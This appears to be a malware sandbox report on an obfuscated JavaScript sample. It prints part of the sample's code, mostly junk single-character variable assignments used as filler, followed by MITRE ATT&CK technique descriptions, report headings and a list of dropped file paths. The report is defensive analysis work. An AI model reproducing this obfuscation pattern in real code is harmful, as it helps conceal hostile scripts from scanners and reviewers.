882	rxpjbkobs = "V";
883	rxpjbkobs = "y";
884	rxpjbkobs = "N";
885	rxpjbkobs = "Q";
886	rxpjbkobs = "F";
887	rxpjbkobs = "b";
888	rxpjbkobs = "K";
889	rxpjbkobs = "I";
890	rxpjbkobs = "z";
891	rxpjbkobs = "T";
892	rxpjbkobs = "a";
893	rxpjbkobs = "W";
894	rxpjbkobs = "f";
895	rxpjbkobs = "L";
896	rxpjbkobs = "g";
897	rxpjbkobs = "g";
898	rxpjbkobs = "0";
899	nxccgi = "F";
900	nxccgi = "l";
901	nxccgi = "J";
902	nxccgi = "R";
903	nxccgi = "x";
904	nxccgi = "F";
905	nxccgi = "Z";
906	nxccgi = "P";
907	nxccgi = "z";
908	nxccgi = "H";
909	nxccgi = "X";
910	nxccgi = "d";
911	nxccgi = "f";
912	nxccgi = "j";
913	nxccgi = "F";
914	nxccgi = "C";
915	nxccgi = "P";
916	nxccgi = "y";
917	nxccgi = "w";
918	nxccgi = "K";
919	nxccgi = "l";
920	nxccgi = "p";
921	nxccgi = "b";
922	nxccgi = "l";
923	nxccgi = "i";
924	nxccgi = "Z";
925	nxccgi = "w";
926	nxccgi = "f";
927	nxccgi = "Z";
928	nxccgi = "k";
929	fyjdhnka = "w";
930	fyjdhnka = "C";
931	fyjdhnka = "Y";
932	fyjdhnka = "r";
933	fyjdhnka = "M";
934	fyjdhnka = "N";
935	fyjdhnka = "G";
936	fyjdhnka = "E";
937	fyjdhnka = "B";
938	fyjdhnka = "n";
939	fyjdhnka = "X";
940	fyjdhnka = "f";
941	fyjdhnka = "z";
942	fyjdhnka = "O";
943	fyjdhnka = "U";
944	fyjdhnka = "K";
945	fyjdhnka = "q";
946	fyjdhnka = "B";
947	fyjdhnka = "l";
948	fyjdhnka = "O";
949	fyjdhnka = "L";
950	fyjdhnka = "T";
951	fyjdhnka = "M";
952	fyjdhnka = "b";
953	fyjdhnka = "q";
954	fyjdhnka = "r";
955	fyjdhnka = "/";
956	jotwbcq = "@";
957	urtwwtup = "T";
958	urtwwtup = "C";
959	urtwwtup = "B";
960	urtwwtup = "z";
961	urtwwtup = "p";
962	urtwwtup = "p";
963	urtwwtup = "N";
964	urtwwtup = "I";
965	urtwwtup = "C";
966	urtwwtup = "N";
967	urtwwtup = "x";
968	urtwwtup = "i";
969	urtwwtup = "g";
970	urtwwtup = "Y";
971	urtwwtup = "W";
972	urtwwtup = "j";
973	urtwwtup = "a";
974	urtwwtup = "P";
975	urtwwtup = "U";
976	urtwwtup = "e";
977	urtwwtup = "E";
978	urtwwtup = "D";
979	urtwwtup = "p";
980	urtwwtup = "J";
981	urtwwtup = "e";
982	urtwwtup = "r";
983	urtwwtup = "a";
984	urtwwtup = "c";
985	urtwwtup = "J";
986	urtwwtup = "v";
987	urtwwtup = "p";
988	rykweqwf = "d";
989	rykweqwf = "B";
990	rykweqwf = "A";
991	rykweqwf = "i";
992	rykweqwf = "U";
993	rykweqwf = "a";
994	rykweqwf = "g";
995	rykweqwf = "R";
996	rykweqwf = "T";
997	rykweqwf = "d";
998	rykweqwf = "Y";
999	rykweqwf = "J";
1000	rykweqwf = "M";
1001	rykweqwf = "l";
1002	rykweqwf = "r";
1003	rykweqwf = "O";
1004	jjtlfetdz = "H";
1005	jjtlfetdz = "J";
1006	jjtlfetdz = "K";
1007	jjtlfetdz = "T";
1008	jjtlfetdz = "v";
1009	jjtlfetdz = "h";
1010	jjtlfetdz = "O";
1011	jjtlfetdz = "G";
1012	jjtlfetdz = "Q";
1013	jjtlfetdz = "n";
1014	jjtlfetdz = "W";
1015	jjtlfetdz = "S";
1016	jjtlfetdz = "R";
1017	jjtlfetdz = "p";
1018	jjtlfetdz = "m";
1019	jjtlfetdz = "X";
1020	jjtlfetdz = "f";
1021	jjtlfetdz = "y";
1022	jjtlfetdz = "l";
1023	jjtlfetdz = "h";
1024	jjtlfetdz = "C";
1025	jjtlfetdz = "A";
1026	jjtlfetdz = "E";
1027	jjtlfetdz = "e";
1028	jjtlfetdz = "D";
1029	jjtlfetdz = "s";
1030	jjtlfetdz = "w";
1031	jjtlfetdz = "T";
1032	jjtlfetdz = "v";
1033	jjtlfetdz = "u";
1034	jjtlfetdz = "p";
1035	jjtlfetdz = "m";
1036	jjtlfetdz = "R";
1037	jjtlfetdz = "P";
1038	jjtlfetdz = "P";
1039	jjtlfetdz = "h";
1040	jjtlfetdz = "c";
1041	jjtlfetdz = "T";
1042	jjtlfetdz = "s";
1043	jjtlfetdz = "r";
1044	jjtlfetdz = "M";
1045	jjtlfetdz = "r";
1046	jjtlfetdz = "N";
1047	vawbsitbh = "O";
1048	vawbsitbh = "B";
1049	vawbsitbh = "T";
1050	vawbsitbh = "n";
1051	vawbsitbh = "m";
1052	vawbsitbh = "c";
1053	vawbsitbh = "J";
1054	vawbsitbh = "E";
1055	vawbsitbh = "G";
1056	vawbsitbh = "A";
1057	vawbsitbh = "d";
1058	vawbsitbh = "X";
1059	vawbsitbh = "o";
1060	vawbsitbh = "n";
1061	vawbsitbh = "M";
1062	vawbsitbh = "B";
1063	vawbsitbh = "d";
1064	vawbsitbh = "O";
1065	vawbsitbh = "U";
1066	vawbsitbh = "u";
1067	vawbsitbh = "h";
1068	vawbsitbh = "z";
1069	vawbsitbh = "V";
1070	vawbsitbh = "i";
1071	vawbsitbh = "D";
1072	vawbsitbh = "s";
1073	vawbsitbh = "S";
1074	vawbsitbh = "z";
1075	vawbsitbh = "s";
1076	vawbsitbh = "x";
1077	vawbsitbh = "S";
1078	vawbsitbh = "z";
1079	vawbsitbh = "b";
1080	vawbsitbh = "x";
1081	gpgmx = "d";
1082	gpgmx = "E";
1083	gpgmx = "L";
1084	gpgmx = "F";
1085	gpgmx = "j";
1086	gpgmx = "E";
1087	gpgmx = "B";
1088	gpgmx = "T";
1089	gpgmx = "x";
1090	gpgmx = "r";
1091	gpgmx = "t";
1092	gpgmx = "c";
1093	gpgmx = "P";
1094	gpgmx = "Z";
1095	gpgmx = "g";
1096	gpgmx = "l";
1097	gpgmx = "h";
1098	gpgmx = "E";
1099	gpgmx = "u";
1100	gpgmx = "s";
1101	gpgmx = "L";
1102	gpgmx = "L";
1103	gpgmx = "a";
1104	gpgmx = "K";
1105	gpgmx = "h";
1106	gpgmx = "z";
1107	gpgmx = "i";
1108	gpgmx = "l";
1109	gpgmx = "X";
1110	gpgmx = "W";
1111	gpgmx = "I";
1112	gpgmx = "u";
1113	gpgmx = "C";
1114	gpgmx = "z";
1115	gpgmx = "z";
1116	gpgmx = "p";
1117	gpgmx = "Z";
1118	gpgmx = "s";
1119	gpgmx = "y";
1120	gpgmx = "O";
1121	gpgmx = "e";
1122	gpgmx = "z";
1123	gpgmx = "h";
1124	gpgmx = "n";
1125	gpgmx = "P";
1126	essarsv = "t";
1127	essarsv = "x";
1128	essarsv = "R";
1129	essarsv = "X";
1130	essarsv = "A";
1131	essarsv = "r";
1132	essarsv = "s";
1133	essarsv = "u";
1134	essarsv = "p";
1135	essarsv = "J";
1136	essarsv = "J";
1137	essarsv = "O";
1138	essarsv = "i";
1139	essarsv = "q";
1140	essarsv = "s";
1141	essarsv = "v";
1142	essarsv = "c";
1143	essarsv = "T";
1144	essarsv = "V";
1145	essarsv = "b";
1146	essarsv = "M";
1147	essarsv = "C";
1148	ftrktopc = "g";
1149	ftrktopc = "H";
1150	ftrktopc = "B";
1151	ftrktopc = "E";
1152	ftrktopc = "j";
1153	ftrktopc = "s";
1154	ftrktopc = "p";
1155	ftrktopc = "m";
1156	ftrktopc = "L";
1157	ftrktopc = "c";
1158	ftrktopc = "i";
1159	ftrktopc = "b";
1160	ftrktopc = "C";
1161	ftrktopc = "K";
1162	ftrktopc = "i";
1163	ftrktopc = "J";
1164	ftrktopc = "J";
1165	ftrktopc = "B";
1166	ftrktopc = "W";
1167	ftrktopc = "i";
1168	ftrktopc = "b";
1169	ftrktopc = "w";
1170	ftrktopc = "F";
1171	ftrktopc = "S";
1172	ftrktopc = "W";
1173	ftrktopc = "Y";
1174	ftrktopc = "F";
1175	ftrktopc = "r";
1176	ftrktopc = "T";
1177	ftrktopc = "b";
1178	ftrktopc = "N";
1179	ftrktopc = "_";
1180	deejd = "Y";
1181	deejd = "x";
1182	deejd = "L";
1183	deejd = "A";
1184	deejd = "o";
1185	deejd = "Y";
1186	deejd = "t";
1187	deejd = "Y";
1188	deejd = "r";
1189	qsxckh = "T";
1190	qsxckh = "s";
1191	qsxckh = "x";
1192	qsxckh = "Q";
1193	qsxckh = "Z";
1194	qsxckh = "d";
1195	qsxckh = "P";
1196	qsxckh = "d";
1197	qsxckh = "R";
1198	qsxckh = "d";
1199	qsxckh = "j";
1200	qsxckh = "T";
1201	qsxckh = "Z";
1202	qsxckh = "Y";
1203	qsxckh = "o";
1204	qsxckh = "A";
1205	qsxckh = "V";
1206	qsxckh = "x";
1207	qsxckh = "t";
1208	qsxckh = "U";
1209	qsxckh = "V";
1210	qsxckh = "L";
1211	qsxckh = "J";
1212	qsxckh = "G";
1213	qsxckh = "A";
1214	qsxckh = "k";
1215	qsxckh = "c";
1216	qsxckh = "x";
1217	qsxckh = "r";
1218	qsxckh = "h";
1219	qsxckh = "v";
1220	qsxckh = "7";
1221	tsaqdld = "j";
1222	tsaqdld = "k";
1223	tsaqdld = "y";
1224	tsaqdld = "d";
1225	tsaqdld = "I";
1226	tsaqdld = "U";
1227	tsaqdld = "L";
1228	tsaqdld = "W";
1229	tsaqdld = "R";
1230	tsaqdld = "G";
1231	tsaqdld = "I";
1232	tsaqdld = "W";
1233	tsaqdld = "n";
1234	tsaqdld = "n";
1235	tsaqdld = "U";
1236	tsaqdld = "x";
1237	tsaqdld = "o";
1238	tsaqdld = "e";
1239	tsaqdld = "R";
1240	tsaqdld = "M";
1241	tsaqdld = "E";
1242	tsaqdld = "J";
1243	tsaqdld = "G";
1244	tsaqdld = "k";
1245	tsaqdld = "W";
1246	tsaqdld = "n";
1247	tsaqdld = "S";
1248	tsaqdld = "u";
1249	tsaqdld = "r";
1250	tsaqdld = "F";
1251	tsaqdld = "N";
1252	tsaqdld = "o";
1253	tsaqdld = "p";
1254	tsaqdld = "a";
1255	tsaqdld = "D";
1256	tsaqdld = "w";
1257	tsaqdld = "e";
1258	njnuke = "m";
1259	njnuke = "g";
1260	njnuke = "i";
1261	njnuke = "c";
1262	njnuke = "g";
1263	njnuke = "i";
1264	njnuke = "Z";
1265	njnuke = "P";
1266	njnuke = "o";
1267	njnuke = "N";
1268	njnuke = "h";
1269	njnuke = "W";
1270	njnuke = "W";
1271	njnuke = "M";
1272	njnuke = "M";
1273	njnuke = "P";
1274	njnuke = "T";
1275	njnuke = "x";
1276	njnuke = "Y";
1277	njnuke = "v";
1278	njnuke = "F";
1279	njnuke = "u";
1280	njnuke = "j";
1281	njnuke = "I";
1282	njnuke = "D";
1283	njnuke = "H";
1284	njnuke = "t";
1285	njnuke = "U";
1286	njnuke = "u";
1287	njnuke = "F";
1288	njnuke = "S";
1289	njnuke = "Q";
1290	njnuke = "f";
1291	njnuke = "K";
1292	njnuke = "z";
1293	njnuke = "C";
1294	njnuke = "o";
1295	njnuke = "m";
1296	njnuke = "D";
1297	njnuke = "f";
1298	njnuke = "F";
1299	tsdippai = "g";
1300	tsdippai = "P";
1301	tsdippai = "r";
1302	tsdippai = "j";
1303	tsdippai = "d";
1304	tsdippai = "s";
1305	tsdippai = "f";
1306	tsdippai = "m";
1307	tsdippai = "S";
1308	tsdippai = "W";
1309	tsdippai = "K";
1310	tsdippai = "v";
1311	tsdippai = "a";
1312	tsdippai = "F";
1313	tsdippai = "L";
1314	tsdippai = "Q";
1315	tsdippai = "p";
1316	tsdippai = "S";
1317	tsdippai = "t";
1318	tsdippai = "y";
1319	tsdippai = "i";
1320	tsdippai = "z";
1321	tsdippai = "o";
1322	tsdippai = "N";
1323	tsdippai = "P";
1324	tsdippai = "n";
1325	tsdippai = "Q";
1326	tsdippai = "s";
1327	tsdippai = "L";
1328	tsdippai = "w";
1329	tsdippai = "D";
1330	tsdippai = "F";
1331	tsdippai = "u";
1332	tsdippai = "h";
1333	tsdippai = "H";
1334	tsdippai = "J";
1335	tsdippai = "A";
1336	tsdippai = "w";
1337	tsdippai = "u";
1338	tsdippai = "H";
1339	tsdippai = "f";
1340	tsdippai = "1";
1341	isweqhy = "i";
1342	isweqhy = "F";
1343	isweqhy = "p";
1344	isweqhy = "r";
1345	isweqhy = "P";
1346	isweqhy = "V";
1347	isweqhy = "q";
1348	isweqhy = "t";
1349	isweqhy = "x";
1350	isweqhy = "z";
1351	isweqhy = "i";
1352	isweqhy = "L";
1353	isweqhy = "t";
1354	isweqhy = "j";
1355	isweqhy = "Z";
1356	isweqhy = "g";
1357	isweqhy = "k";
1358	isweqhy = "k";
1359	isweqhy = "h";
1360	isweqhy = "U";
1361	isweqhy = "N";
1362	isweqhy = "Z";
1363	isweqhy = "F";
1364	isweqhy = "n";
1365	isweqhy = "d";
1366	isweqhy = "g";
1367	isweqhy = "-";
1368	pfwuihb = "w";
1369	pfwuihb = "A";
1370	pfwuihb = "H";
1371	pfwuihb = "r";
1372	pfwuihb = "G";
1373	pfwuihb = "y";
1374	pfwuihb = "r";
1375	pfwuihb = "l";
1376	pfwuihb = "U";
1377	pfwuihb = "A";
1378	pfwuihb = "H";
1379	pfwuihb = "q";
1380	pfwuihb = "W";
1381	pfwuihb = "r";
1382	pfwuihb = "q";
1383	pfwuihb = "t";
1384	pfwuihb = "J";
1385	pfwuihb = "j";
1386	pfwuihb = "f";
1387	pfwuihb = "f";
1388	pfwuihb = "h";
1389	pfwuihb = "o";
1390	pfwuihb = "t";
1391	pfwuihb = "q";
1392	pfwuihb = "c";
1393	pfwuihb = "O";
1394	pfwuihb = "h";
1395	pfwuihb = "s";
1396	pfwuihb = "Z";
1397	pfwuihb = "b";
1398	pfwuihb = "d";
1399	pfwuihb = "p";
1400	pfwuihb = "K";
1401	pfwuihb = "C";
1402	pfwuihb = "N";
1403	pfwuihb = "M";
1404	pfwuihb = "b";
1405	pfwuihb = "l";
1406	pfwuihb = "J";
1407	pfwuihb = "t";
1408	pfwuihb = "E";
1409	pfwuihb = "h";
1410	pfwuihb = "z";
1411	pfwuihb = "s";
1412	pfwuihb = "S";
1413	urblljaz = "T";
1414	urblljaz = "N";
1415	urblljaz = "L";
1416	jpsqhpg = "l";
1417	jpsqhpg = "I";
1418	jpsqhpg = "I";
1419	jpsqhpg = "i";
1420	jpsqhpg = "x";
1421	jpsqhpg = "T";
1422	jpsqhpg = "I";
1423	jpsqhpg = "a";
1424	jpsqhpg = "w";
1425	mpzgaz = "p";
1426	mpzgaz = "h";
1427	mpzgaz = "T";
1428	mpzgaz = "V";
1429	mpzgaz = "q";
1430	mpzgaz = "C";
1431	mpzgaz = "M";
1432	mpzgaz = "o";
1433	mpzgaz = "u";
1434	mpzgaz = "t";
1435	mpzgaz = "m";
1436	mpzgaz = "g";
1437	mpzgaz = "Y";
1438	mpzgaz = "b";
1439	mpzgaz = "f";
1440	mpzgaz = "u";
1441	mpzgaz = "R";
1442	mpzgaz = "R";
1443	mpzgaz = "D";
1444	mpzgaz = "p";
1445	mpzgaz = "M";
1446	mpzgaz = "q";
1447	mpzgaz = "L";
1448	mpzgaz = "q";
1449	mpzgaz = "O";
1450	mpzgaz = "n";
1451	mpzgaz = "i";
1452	skgjmbqxx = "v";
1453	skgjmbqxx = "r";
1454	skgjmbqxx = "X";
1455	skgjmbqxx = "G";
1456	skgjmbqxx = "O";
1457	skgjmbqxx = "v";
1458	skgjmbqxx = "j";
1459	skgjmbqxx = "m";
1460	skgjmbqxx = "y";
1461	skgjmbqxx = "b";
1462	skgjmbqxx = "x";
1463	skgjmbqxx = "4";
1464	amsib = "j";
1465	amsib = "o";
1466	amsib = "V";
1467	amsib = "L";
1468	amsib = "n";
1469	amsib = "S";
1470	amsib = "w";
1471	amsib = "E";
1472	amsib = "x";
1473	amsib = "d";
1474	amsib = "J";
1475	amsib = "N";
1476	amsib = "V";
1477	amsib = "r";
1478	amsib = "U";
1479	amsib = "p";
1480	amsib = "Y";
1481	amsib = "h";
1482	amsib = "d";
1483	amsib = "W";
1484	amsib = "T";
1485	amsib = "n";
1486	amsib = "K";
1487	amsib = "v";
1488	amsib = "u";
1489	amsib = "b";
1490	amsib = "j";
1491	amsib = "C";
1492	amsib = "a";
1493	amsib = "u";
1494	amsib = "g";
1495	amsib = "Z";
1496	amsib = "I";
1497	ieqpe = "T";
1498	ieqpe = "V";
1499	ieqpe = "F";
1500	ieqpe = "p";
1501	ieqpe = "W";
1502	ieqpe = "R";
1503	ieqpe = "z";
1504	ieqpe = "S";
1505	ieqpe = "N";
1506	ieqpe = "h";
1507	ieqpe = "U";
1508	ieqpe = "P";
1509	ieqpe = "Q";
1510	ieqpe = "h";
1511	ieqpe = "k";
1512	ieqpe = "y";
1513	ieqpe = "q";
1514	ieqpe = "Y";
1515	ieqpe = "d";
1516	ieqpe = "N";
1517	ieqpe = "C";
1518	ieqpe = "q";
1519	ieqpe = "Y";
1520	ieqpe = "e";
1521	ieqpe = "d";
1522	ieqpe = "e";
1523	ieqpe = "N";
1524	ieqpe = "a";
1525	ieqpe = "k";
1526	ieqpe = "R";
1527	ieqpe = "v";
1528	ieqpe = "X";
1529	ieqpe = "z";
1530	ieqpe = "u";
1531	ieqpe = "k";
1532	ieqpe = "P";
1533	ieqpe = "d";
1534	ieqpe = "m";
1535	ieqpe = "e";
1536	ieqpe = "Z";
1537	ieqpe = "Q";
1538	ieqpe = "b";
1539	gbcbehdhx ( );	gbcbehdhx() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 390712401072120127.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\2d6beb15-f95d-4bc3-a9ea-3ee37a7e4d77.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

